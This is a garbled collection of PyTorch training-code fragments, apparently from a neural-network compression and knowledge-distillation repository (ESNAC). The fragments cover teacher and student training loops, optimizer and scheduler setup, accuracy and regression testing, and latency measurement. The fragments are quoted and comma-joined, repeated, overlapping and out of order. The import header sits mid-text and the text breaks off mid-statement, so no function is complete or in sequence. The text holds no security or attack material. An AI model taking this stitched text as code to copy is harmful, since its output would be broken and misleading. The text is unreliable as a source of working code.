optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best", "j+=1 acc = 100.0 * correct / total return acc, miss def test_model_latency(model,", "100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs", "n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i", "from_scratch: init_model(model) for i in range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule", "targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets) loss2 =", "= 0 #print(equal_v for i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1", "loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc =", "elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset):", "None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss()", "optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0]", "optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization ==", "model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr,", "if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion ==", "nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval() correct", "in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion == 'l2':", "/ total return acc, miss def test_model_latency(model, dataset): model.eval() loader = None if", "inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total +=", "lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx),", "= lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model)", "optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs + 1): print('epochs ', i)", "test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss", "torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100,", "+ loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt", "+= 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset)", "#batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc'", "= nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for", "epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j],", "elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item()", "= nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif", "return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0 total = 0 loader", "#print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif", "else: raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for batch_idx, (inputs, targets)", "criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt +=", "n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion", "model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss =", "= dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader", "model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc =", "#print('acc: ',acc) if test_loss > loss_best: loss_best = test_loss model.module.loss = test_loss model_best", "targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule ==", "= 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs =", "lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule", "', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc =", "for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs =", "= targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs =", "model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD':", "(inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs =", "None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer =", "targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0) train_correct +=", "= outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct", "targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1) #total +=", "model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler =", "batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i)", "0) return model def test_model(model, dataset): model.eval() correct = 0 total = 0", "idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best =", "= 0 train_total = 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx,", "targets) loss = loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward()", "epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer,", "* n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD':", "outputs = model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item()", "scheduler.step() loss_total = 0 #batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader):", "= [0.0] * n batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader):", "save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best", "i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc,", "loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train", "for i in range(1, epochs + 1): model.train() #if lr_schedule == 'step': #", "acc students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs,", "scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp", "loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for", "latency = [] with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs =", "0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model,", "NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader):", "<reponame>zhangsiyu1103/ESNAC import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional", "model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule,", "j = 0 #print(equal_v for i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j])", "dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss", "if test_loss < loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module", "step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs *", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize()", "for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion =", "targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule ==", "optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs + 1): print('epoch',i)", "[0.0] * n batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs", "nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return", "i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct / total return acc,", "acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch):", "0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion ==", "#if lr_schedule == 'step': # scheduler.step() loss_total = 0 #batch_cnt = 0 for", "train_acc = 100.0 * train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc >", "optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs", "lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if", "lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 for batch_idx,", "targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0) #correct", "total return acc, miss def test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset,", "enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets)", "'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown", "test_model_regression(model, dataset): model.eval() loader = None loss_total = 0 batch_cnt = 0 criterion", "+= 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt,", "in range(n)] for i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j", "= 0 batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader =", "= dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx,", "nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn", "= dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for batch_idx,", "return model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay,", "#total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct / total", "acc = 100.0 * correct / total return acc, miss def test_model_latency(model, dataset):", "= epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers =", "= targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg", "range(1, epochs + 1): print('epochs ', i) model.train() loss_total = 0 batch_cnt =", "criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1) #total += targets.size(0) #correct", "= 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad():", "predicted.eq(targets).sum().item() acc = 100.0 * correct / total return acc def test_model_regression(model, dataset):", "loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n", "= [0.0] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students", "loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss()", "elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)]", "inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken =", "loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs,", "= [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule == 'linear': batch_cnt", "optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs", "model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1 +", "momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device))", "100.0 * correct / total return acc def test_model_regression(model, dataset): model.eval() loader =", "time import sys import numpy as np def init_model(model): for module in model.modules():", "1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i)", "+= targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total #print(\"train", "= 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in", "1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset)", "NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0 train_total = 0 best_train_acc =", "model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path,", "teacher.eval() for j in range(n): students[j].train() loss_total = [0.0] * n batch_cnt =", "teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] +=", "nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i", "None loss_total = 0 batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'):", "loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i)", "in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted", "acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc:", "+ 1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt", "sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization ==", "for batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs", "= 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs =", "= teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device) for j in range(n):", "equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct /", "(idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss <", "= 100.0 * train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc:", "1000) lat = np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9,", "students = [None] * n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if", "dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc >", "= model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total /", "# scheduler.step() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in", "= None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer", "optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)]", "momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] * n students_best", "miss = set() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs =", "= torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr,", "= time.time() - start_time latency.append(time_taken * 1000) lat = np.mean(latency) return lat def", "None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear):", "0 #print(equal_v for i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc", "= acc students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization,", "loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss =", "NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader):", "batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif", "loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return model_best,", "= criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule ==", "= optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp =", "model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth')", "correct / total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0 total", "in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted", "save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr,", "= dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency", "model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path, idx,", "if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear':", "elif loss_criterion == 'CE': targets = targets.to(opt.device) for j in range(n): if lr_schedule", "import torch.nn.functional as F import torch.backends.cudnn as cudnn import options as opt import", "+= targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct / total return", "correct / total return acc, miss def test_model_latency(model, dataset): model.eval() loader = None", "hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set() with", "i in range(1, epochs + 1): print('epochs ', i) model.train() loss_total = 0", "students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr,", "% (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx),", "targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step()", "total = 0 loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif", "model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx,", "criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader", "save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr,", "for i in range(1, epochs + 1): print('epochs ', i) model.train() loss_total =", "len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp", "= optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1,", "lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] * n students_best = [None]", "acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc > accs_best[j]: accs_best[j] =", "loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1 + loss2", "= 100.0 * correct / total return acc def test_model_regression(model, dataset): model.eval() loader", "loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0", "in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i) acc = test_model(students[j],", "weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] * n students_best =", "== 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs,", "criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear':", "'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad():", "= acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset,", "scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt,", "test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss < loss_best[j]: loss_best[j] =", "nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization", "predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc", "test_model(model, dataset): model.eval() correct = 0 total = 0 loader = None if", "1): print('epochs ', i) model.train() loss_total = 0 batch_cnt = 0 for batch_idx,", "optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import options as opt", "j in range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for", "in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss =", "def test_model_image(model, dataset): model.eval() correct = 0 total = 0 loader = None", "scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp", "loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ',", "+= predicted.eq(targets).sum().item() #acc = 100.0 * correct / total return loss_total/batch_cnt def test_model_image(model,", "[optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i in range(1, epochs + 1):", "torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum,", "np def init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu')", "'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization", "lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] * n students_best = [None]", "= criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward()", "acc, miss def test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'): loader", "i in range(1, epochs + 1): model.train() #if lr_schedule == 'step': # scheduler.step()", "i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt)", "model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1", "from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device))", "print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs =", "#print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2", "epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best", "= np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best", "= predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v for i in equal_v:", "1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc,", "numpy as np def init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight,", "model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 #batch_cnt = 0", "/ train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc = train_acc", "[optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization == 'Adam': optimizers", "correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear':", "def test_model(model, dataset): model.eval() correct = 0 total = 0 loader = None", "None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader", "lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = 